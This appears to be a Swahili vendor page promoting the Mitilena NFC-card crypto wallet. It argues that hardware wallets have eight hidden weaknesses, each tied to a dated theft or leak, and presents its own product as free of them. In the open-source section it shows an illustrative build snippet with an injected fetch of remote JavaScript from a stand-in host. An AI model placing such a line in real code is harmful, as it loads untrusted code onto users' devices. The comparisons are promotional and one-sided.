ONLINE · 22,000+ COINS Unda mkobaUnda

Hardware wallets · mapungufu yasiyo dhahiri

Mapungufu yasiyo dhahiri ya hardware wallet

Unanunua kifaa kufunga mashimo. Mapya huja nacho: firmware, masasisho, huduma kwenye kompyuta, skrini, sanduku, akaunti ya muuzaji. Vipengele vinane ambavyo hakiki huviita faida — na njia nane pesa zilichukuliwa kupitia vyo mwaka 2020–2026.

Mapungufu nane Kilicho kwenye kifurushi

Visa halisi wenye tarehe na kiasi Kutoka nyaraka za mtengenezaji Tunapima kifurushi chetu kwa orodha ile ile

Gharama ya kosavisa vya umma

2026Coldcard · nasibu dhaifu katika firmware$100M+

2025Bybit · wasaini walitia saini wasichoona$1.5B

2024Dark Skippy · seed inavuja kupitia saini mbiliutafiti

2023Ledger Connect Kit · backdoor katika maktaba$600K

2021Programu bandia ya mkoba kwenye App Store17,1 BTC

2020Uvujaji wa DB ya wateja wa Ledger · phishing kwa miakawatu 270,000

Mapungufu nane

Kila undani unaosifiwa kwenye hakiki ni shimo tofauti

Mkoba wa vifaa hufunga shimo moja: ufunguo haukai tena kwenye simu yenye intaneti. Lakini kifaa si tupu. Kina firmware, masasisho, programu ya desktop, skrini, sanduku, muuzaji mwenye anwani yako — na kila undani huongeza uso wa shambulio ambao hukuwa nao. Chini ni vipengele vinane: hakiki husema nini, jinsi pesa zilichukuliwa, jinsi ya kufunga shimo, na kama kifurushi chetu kina undani huo.

Mapungufu 01

Firmware inayotengeneza ufunguo wako

Kwenye hakiki: «chipu salama — ufunguo hutengenezwa ndani ya kifaa na hautoki kamwe»

Ufunguo ni nambari kubwa ya nasibu, na firmware ndiyo inaiunda. Hitilafu moja pale — funguo ni chache zaidi kuliko unavyodhani: zinavunjwa kwa wamiliki wote kwa pamoja, bila ufikiaji wa kifaa, miaka baada ya ununuzi. Chipu haijalishi; shimo liko juu yake.

Tukio

$100M+

Coldcard, Julai 2026: hitilafu ya build ya firmware tangu 2021 ilibadilisha kimya RNG ya vifaa na dhaifu iliyopandwa kutoka serial ya kifaa na kipima muda. Nguvu ya ufunguo ilishuka karibu bits 40; anwani 5,000+ zilimalizwa.

Jinsi ya kufunga shimo

Unaweza kuleta nasibu yako: kete, sentensi yako. Mkoba unaokubali entropy kutoka kwako hautegemei hitilafu moja ya firmware.

Hatuna undani huu

Hakuna firmware kwenye kadi — ni kibeba kilichosimbwa. Mitilena Air hutengeneza ufunguo kutoka RNG ya mfumo wa kifaa, na unaweza kuweka seed phrase yako badala ya maneno ya nasibu.

Mapungufu 02

Masasisho unayolazimishwa kusakinisha

Kwenye hakiki: «mtengenezaji hutuma masasisho ya usalama mara kwa mara»

Kila sasisho ni muda firmware inaweza kubadilishwa. Firmware iliyoharibiwa huficha vipande vya seed katika saini mbili au tatu za kawaida huku kifaa kionekane kawaida nje. Kuruka masasisho si chaguo pia: mashimo hufungwa na masasisho hayo hayo.

Tukio

saini 2

Dark Skippy, Agosti 2024: watafiti walionyesha kuwa firmware mbaya ya hardware wallet inaweza kutoa seed nzima kupitia miamala miwili. Sasisho moja kutoka mahali pasipofaa linatosha.

Jinsi ya kufunga shimo

Firmware inatoka wapi na kama kifaa kinathibitisha saini yake. Bora zaidi ni pale hakuna cha kusasisha.

Hatuna undani huu

Hakuna cha kusasisha au kubadilisha kwenye kadi. Kusaini hutokea katika programu ya simu; build zake zimesainiwa na hutoka App Store na Google Play — kama programu yoyote unayoiona na kuifunga mwenyewe.

Mapungufu 03 · Hisia ya upuuzi

Kwenye hakiki: «programu rahisi ya desktop ya mtengenezaji»

Mkoba wa kutokuamini unaokuja na huduma ya chinichini

Unanunua kifaa kwa sababu moja: kuacha kuamini kompyuta. Ili ifanye kazi, lazima usakinishe huduma ya chinichini kwenye kompyuta hiyo hiyo. Hukuiandika, hukuiwasha, wala huidhibiti: inaanza na OS, husikiliza port ambayo programu yoyote kwenye mashine yako inaweza kugonga, na inafanya kitu sasa — nini hasa, hujui na hutathibitisha kamwe.

Iliendelea chinichini baada ya kufunga mkoba. Kwa miaka. Kwa mmoja wa watengenezaji wakubwa ilikuwa huduma tofauti ya «daraja»; mwaka 2025 waliificha ndani ya programu yenyewe — huduma bado ipo, inakufa tu pamoja na dirisha. Kwa wengi wa wengine, bila programu ya desktop kifaa ni tu kiungo cha funguo. Kwenye Linux ongeza sheria za udev au mfumo hautatoi USB.

Kwa hiyo kile ulichonunua ili kuacha kutegemea programu za kompyuta hakifanyi kazi bila programu ya kompyuta. Na si ile unayoona — ile inayoendesha chini yake.

Hatuna undani huu

Hakuna kinachosakinishwa kwenye kompyuta: hakuna huduma, driver, wala port. Mpatanishi ni chipu ya NFC iliyoko tayari kwenye simu yako, iliyotengenezwa na mtengenezaji wake na inayosimamiwa na OS: inafanya kazi tu programu ikiwa wazi na wewe mwenyewe unapogusa kadi, na simu huomba ruhusa kila mara. Kadi ni bumbu: hakuna betri, hakuna redio, haifanyi chochote yenyewe. Funga programu — hakuna kinachobaki kukiendesha bila wewe. Ukweli: bado unahitaji programu ya simu, na kama nyingine yoyote — unaiona, unaianzisha, unaifunga mwenyewe. Hakuna anayeishi kwenye chumba cha vifaa.

Kichunguzi cha mfumoMKOBA UMEFUNGWA

MchakatoHaliMuda wa kuendesha

HW Wallet Appwallet

umefunga wewe-

hwwalletdhuduma chinichini · daraja la USB

inaendesha412d 06:14

mfumo umeianzisha wakati wa kuingiahaiwezi kufungwa — ni huduma

Mockup; majina ni ya mfano. Hivi ndivyo kompyuta yenye mojawapo ya USB wallets maarufu ilivyoonekana kabla ya 2025; kisha «daraja» lilijengwa ndani ya programu yenyewe — huduma ile ile, isiyoonekana tena kwenye orodha.

Mfano

Nyumba kwa faragha — na mpangaji katika chumba cha vifaa

Ulitaka nyumba kwa faragha. Ulinunua. Kisha ulihitaji usalama — ulisakinisha. Ili mpango wa usalama ufanye kazi, walikuomba umruhusu mtu mwenye sare aingie nyumbani anayeishi chumba cha vifaa mchana na usiku, anashikilia funguo za kila mlango, na anaripoti kwa mtu mwingine. Hukuumajiri, huwezi kumfukuza, na anachofanya usiku — hujui.

Yeye ni «wetu,» bila shaka. Imeandikwa kwenye mkataba. Ulitaka faragha ukapata mbadala: nyumba yenye mpangaji usiyemchagua.

Mapungufu 04 · Open source si ukaguzi

Kwenye hakiki: «open source — mtu yeyote anaweza kuthibitisha»

Open source ni jinsi waandaaji programu wanavyofanya kazi pamoja, si alama kwamba programu haiibi

Open source ilibuniwa ili watu washiriki programu na kuzirekebisha pamoja. Kama zana ya ushirikiano ni bora. Haikuwa kamwe muhuri wa ubora kwamba «programu hii haitakuibia pesa,» na hii ndiyo sababu: hutumii source code. Unatumia ulichopakua.

Kati ya GitHub repo na faili kwenye simu yako kuna build, app store, sasisho, seva. Katika hatua yoyote kati ya hizo mstari mmoja unaweza kuingia msimboni unaovuta chochote kutoka popote — na hautakuwa kwenye repo. Huwezi kulinganisha nakala yako na source: maduka hutuma faili iliyojengwa; mkoba wa wavuti hupata msimbo wowote seva iliyochagua kukupa leo; kiendelezi cha kivinjari husasishwa kimya usiku.

«Wazi» inamaanisha baadhi ya watu wanaweza kuangalia toleo fulani siku fulani. Nakala yako inafanya nini sasa — haimaanishi hilo.

Kwenye repo · github.com/…/wallet/send.js

// send.js
import { sign } from './crypto'
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Kwenye simu yako · app-2.4.21.min.js

// send.js — build
import { sign } from './crypto'
;(async () => {
  var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Mstari mmoja katika build. Si kwenye repo, haionekani dukani, inaendesha kwenye kifaa chako.

Uwazi haukuzuia lolote kati ya visa hivi

Ledger Connect Kit2023

maktaba wazi kwenye GitHub; toleo baya lilichapishwa kwenye npm; tovuti kadhaa ziliipakia moja kwa moja ndani ya saa

Copay / event-stream2018

mkoba wazi; backdoor ilikuja kupitia dependency iliyolengwa hasa kwake

xz utils2024

wazi kwa miaka ishirini; backdoor ilikaa kwenye releases hadi mhandisi mmoja aligundua kuingia SSH kulikuwa polepole kwa nusu sekunde

Coldcard2026

firmware open-source; hitilafu ya build kwa miaka mitano ilibadilisha RNG ya vifaa na dhaifu — funguo zilivunjwa bila ufikiaji wa kifaa, anwani 5,000+, $100M+

Kinachofanya kazi kweli

Si kusoma msimbo wa mtu mwingine — ukaguzi wawili mtu yeyote anaweza kufanya. Kwanza, ukaguzi wa tabia: weka proxy ya kukamata kwenye kompyuta yako, pitisha programu kwayo, na uangalie inatumia nini wapi. Huhitaji kusoma msimbo — trafiki inaonekana kabisa. Pili, usanifu ambapo msimbo hauna cha kuiba: ikiwa ufunguo haukai kamwe kwenye kifaa chenye mtandao, mstari wowote katika sasisho lolote hauna nguvu — hauna cha kutuma.

Jinsi tunavyofanya

Tunatoa ya kwanza wenyewe: endesha programu yetu kupitia proxy, toleo la wavuti kupitia browser DevTools, ukague kila ombi. Ufunguo wa kusaini na seed haviwezi kuonekana; tahadhari pekee ni Monero view key — imeelezwa kwenye ukurasa «jinsi uhamisho unavyotoka». Ya pili iko ndani ya kifurushi: ufunguo huzaliwa katika Mitilena Air kwenye kifaa bila intaneti, huishi kwenye kadi, na saini pekee inafika programu mtandaoni — hakuna kilichobaki cha proxy pale. Na offline hapa ni halisi: katika hali ya air-gap kifaa cha ufunguo hakijaunganishwa na chochote — hakuna kebo, hakuna Bluetooth; muamala huingia na kutoka kama msimbo wa QR unaoona kwa macho. Si mkoba «baridi» kwenye kebo iliyoning'inia kwenye kompyuta mtandaoni na huduma yake inayobadilishana yasiyojulikana.

Mapungufu 05

Skrini isiyoonyesha unachosaini

Kwenye hakiki: «thibitisha kwenye skrini ya kifaa — virusi kwenye kompyuta havina nguvu»

Skrini ni ndogo, na mara nyingi inaonyesha hash au «mwito wa kandarasi,» si anwani na kiasi. Unathibitisha usichoweza kuona — na saini bado ni ya kweli, yako. Skrini hutoa hisia ya udhibiti ambayo haipo.

Tukio

$1.5B

Bybit, Februari 2025: wasaini wenye hardware wallets walithibitisha uhamisho ulioonekana wa kawaida katika UI. Vifaa vilionyesha data ambayo binadamu hangeweza kuthibitisha.

Jinsi ya kufunga shimo

Mpokeaji, kiasi, na aina ya operesheni kwa lugha ya binadamu — si hash — na kitufe kimoja cha kukataa.

Jinsi tunavyofanya

Kuna skrini, lakini ni skrini ya simu: anwani, kiasi, na aina ya ombi kwa maneno — uhamisho, mwito wa kandarasi, idhini — na kitufe Kataa. Kwa kiasi kikubwa — kifaa tofauti cha offline kinachopokea muamala kamili.

Mapungufu 06

Sanduku ambalo tayari lina seed

Kwenye hakiki: «hutumwa kwenye sanduku lililofungwa na muhuri wa usalama»

Kifaa halisi kinamaanisha usafirishaji, wapatanishi, na masoko ya «punguzo». Mkoba huja umewekwa tayari, na seed kwenye karatasi ndani. Au programu inayofanana dukani inakuomba «weka seed ili kuamilisha.»

Tukio

17,1 BTC

App Store, 2021: mmiliki wa hardware wallet aliweka seed kwenye programu inayofanana na kupoteza BTC 17.1. Mwaka huo huo, baada ya uvujaji wa DB, wateja wa Ledger walitumwa vifaa bandia na barua «hamisha seed yako kwenda mpya.»

Jinsi ya kufunga shimo

Anzisha mwenyewe na usitumie seed iliyokuja tayari imeandikwa. Muhuri si uthibitisho; uthibitisho ni wewe ndiye unayetengeneza ufunguo.

Jinsi tunavyofanya

Kadi huja tupu: wewe hutengeneza ufunguo na kuuandika mwenyewe — haiwezi kuwa na seed tayari kwenye sanduku. Programu hutoka tu App Store na Google Play kupitia viungo kwenye tovuti; huomba seed tu wakati wa kuingiza na kusaini.

Mapungufu 07

Akaunti ya muuzaji

Kwenye hakiki: «dhamana rasmi, msaada, na akaunti ya kibinafsi»

Kununua kifaa unampa mtengenezaji jina, email, na anwani ya usafirishaji. Usalama wako sasa unategemea hifadhidata yao. Ikivuja — kwa miaka utapata ujumbe «thibitisha seed kwenye kifaa kipya,» wakati mwingine na vifurushi.

Tukio

watu 270,000

Ledger, 2020: data ya wanunuzi 270,000 ilivuja, pamoja na anwani za posta. Email, simu, na vifurushi vinavyokuomba «hamisha» seed vinaendelea hadi leo.

Jinsi ya kufunga shimo

Kadri wanavyojua kidogo kukuhusu, ndivyo vekta inavyokuwa fupi: nunua bila akaunti, msaada usioumba seed kamwe, na kanuni «ni mwizi tu anayeomba seed.»

Hatuna undani huu

Mkoba hufanya kazi bila usajili — hakuna akaunti. Muuzaji anajua anwani ya usafirishaji tu. Wala msaada wala programu hauombi seed.

Mapungufu 08

Kifaa kimoja na karatasi moja

Kwenye hakiki: «kasha imara, skrini kubwa, betri ya wiki»

Sehemu nyingi, kuvunjika nyingi: kiunganishi, skrini, betri. Urejeshaji hutegemea karatasi moja ya seed — iliyolowa, iliyopotea wakati wa kuhama, iliyopigwa picha «kwa tahadhari.» Sababu ya kawaida zaidi ya hasara si uvamizi.

Tukio

≈20 % BTC

Chainalysis inakadiria karibu sehemu moja ya tano ya bitcoin yote imepotea milele — hasa kutoka funguo zilizopotea, si uvamizi.

Jinsi ya kufunga shimo

Nakala ngapi za ufunguo huja kwenye sanduku na kwa umbo gani, nini hutokea kifaa kikapotea, na kama kuna kitu ndani kinachoweza kuvunjika.

Hatuna undani huu

Hakuna skrini, betri, wala kiunganishi — hakuna cha kuvunjika. Na si nakala moja: nakala tano zinazofanana kwenye sanduku — kadi 2 za NFC na stickers stealth 3 katika plastiki isiyopitisha maji, miaka 10+.

Checklist

Kisichopaswa kuwepo kwenye mkoba

Vipengele vinane kwa mapungufu nane. Orodha inafaa mkoba wowote — vifaa, simu, kivinjari. Weka alama kile ulichochagua kina — na chetu pia.

Ufunguo uliotengenezwa na programu pekeebila nasibu yako — sentensi yako au kete

Masasisho pale ufunguo unapoishikila sasisho ni nafasi ya kubadilisha msimbo

Huduma, driver, au port kwenye kompyutaangalia mapungufu 03

Alama ya «open source» badala ya usanifuufunguo hukaa pale msimbo wa nje unapoweza kufika

Skrini inayoonyesha hash badala ya anwani na kiasina hakuna kitufe Kataa

Seed iliyokuja tayari imeandikwakwenye sanduku, barua, «programu ya kuamilisha»

Akaunti ya muuzajina msaada unaoweza kuomba seed

Nakala moja na sehemu zinazovunjikaskrini, betri, kiunganishi, karatasi moja

Kwenye orodha hii, kifurushi cha Ultimate hakina lolote kati ya vipengele vinane. Kwenye sanduku: kadi 2 za NFC na stickers stealth 3, Mitilena Air (funguo bila intaneti) na Mitilena Keys (kusaini bila intaneti). Kadi huja tupu: wewe hutengeneza na kusimba ufunguo — si chipu ya kiwandani. Maudhui na bei →

Ultimate · kifurushi cha offline

Si «chipu salama» ya kiwandani — kibeba unachosimba

Kadi huja tupu. Hutengeneza ufunguo katika Mitilena Air kwenye simu bila intaneti na kuuandika mwenyewe. Kusaini ni kupitia Mitilena Keys, pia offline: muamala husafiri kwa QR. Nakala tano zinazofanana kwenye sanduku: kadi 2 za NFC na stickers stealth 3 katika plastiki isiyopitisha maji. Mitandao 18, sarafu 20,000+, pamoja na USDT.

Hakuna kinachosakinishwa kwenye kompyuta

Hakuna firmware, masasisho, skrini, wala betri

Muamala kwenda simu ya offline — kwa sauti au QR, bila kebo wala USB

Inafanya kazi na programu bure ya Mitilena kwenye simu

Plastiki isiyopitisha maji, maisha ya rafu miaka 10+

Usafirishaji duniani · mitilena-store.com

Ultimate · uzalishaji na kusaini offline

€369€439

Kadi 2 za NFC · stickers stealth 3 · Mitilena Air · leseni ya Mitilena Keys

Nunua Ultimate · €369 Basic na Premium — angalia mipango yote

FAQ

Wanachouliza watu baada ya kusoma hadi hapa

Faida na hasara za hardware wallet — toleo fupi?

Faida kubwa moja: ufunguo hauko kwenye simu yenye intaneti. Hasara ni vipengele vinane hapo juu — kila kimoja huongeza uso wa shambulio. Hardware wallet nzuri ni ile yenye vipengele vichache, si vingi.

Je, simu ikivunjwa usalama?

Ukiwa na kadi kwenye simu yako kuu ufunguo huonekana katika mazingira yaliyotengwa kwa sekunde ya kusaini — hatari ile ile ya mkoba wowote wa simu, fupi tu. Kwa kiasi kinachokutisha — safu ya pili: saini kwenye kifaa tofauti cha offline ambacho muamala hufikia kwa QR.

Je, kadi ikiibwa au kupotea?

Bila nenosiri kadi na sticker ni plastiki isiyofaa — ufunguo juu yake umesimbwa. Nakala iliyopotea inabadilishwa na nyingine nne: kadi mbili na stickers tatu kutoka sanduku ni kioo.

Je, unahitaji kusasisha firmware ya hardware wallet?

Ikiwa mtengenezaji amefunga shimo — ndiyo, na huo ndio wakati firmware inaweza kubadilishwa: angalia chanzo na saini. Kibeba bila firmware hakina chaguo kama hilo — hakuna cha kusasisha, hakuna cha kubadilisha.

Inatofautianaje na USB wallet?

Wapatanishi wachache: hakuna kebo, driver, huduma chinichini, wala programu ya desktop. Mpatanishi mmoja — chipu ya NFC ya simu yako — na inajibu wewe na OS, si mtengenezaji wa mkoba.

Open source inamaanisha salama?

Inamaanisha inaweza kukaguliwa na mtu, wakati fulani. Hutumii msimbo bali ulichopakua, na huwezi kulinganisha moja na nyingine. Usalama hutoka kwa usanifu ambapo ufunguo hauko pale msimbo wa nje unapoweza kufika.

Kadi za NFC zenye uzalishaji na kusaini offline

Nakala 5 za ufunguo · Air · Keys · au mkoba bure kwa sekunde 30 · Kwa nini mkoba wa vifaa unaoitwa «hifadhi baridi» lakini unategemea chipu salama ya kiwandani mara nyingi ni bandia ya cold storage →

Nunua Ultimate · €369 Unda mkoba bure